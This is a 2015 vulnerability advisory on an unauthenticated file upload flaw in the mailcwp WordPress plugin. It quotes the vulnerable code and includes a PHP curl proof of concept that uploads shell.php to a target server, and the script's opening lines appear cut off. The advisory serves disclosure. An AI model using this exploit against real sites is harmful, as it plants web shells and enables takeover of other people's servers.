Title: Remote file upload vulnerability in mailcwp v1.99 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-09
Download Site: https://wordpress.org/plugins/mailcwp/
Vendor: CadreWorks Pty Ltd
Vendor Notified: 2015-07-09 fixed in v1.110
Vendor Contact: Contact Page via WP site
Description: MailCWP, Mail Client for WordPress. A full-featured mail client
plugin providing webmail access through your WordPress blog or website.
Vulnerability:
The code in mailcwp-upload.php doesn't check that a user is authenticated or
what type of file is being uploaded any user can upload a shell to the target
wordpress server:
2 $message_id = $_REQUEST["message_id"];
3 $upload_dir = $_REQUEST["upload_dir"];
.
.
8 $fileName = $_FILES["file"]["name"];
9 move_uploaded_file($_FILES["file"]["tmp_name"],
"$upload_dir/$message_id-$fileName");
Exploitation requires the attacker to guess a writeable location in the http
server root.
CVEID:
OSVDB:
Exploit Code:
• http://www.example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1&upload_dir=/usr/share/wordpress/wp-content/uploads';
• $file_name_with_full_path = '/var/www/shell.php';
•
• echo "POST to $target_url $file_name_with_full_path";
• $post = array('file' =>
'shell.php','file'=>'@'.$file_name_with_full_path);
•
• $ch = curl_init();
• curl_setopt($ch, CURLOPT_URL,$target_url);
• curl_setopt($ch, CURLOPT_POST,1);
• curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
• curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
• $result=curl_exec ($ch);
• curl_close ($ch);
• echo "";
• echo $result;
• echo "";
• ?>
•
Advisory: http://www.vapid.dhs.org/advisory.php?v=138
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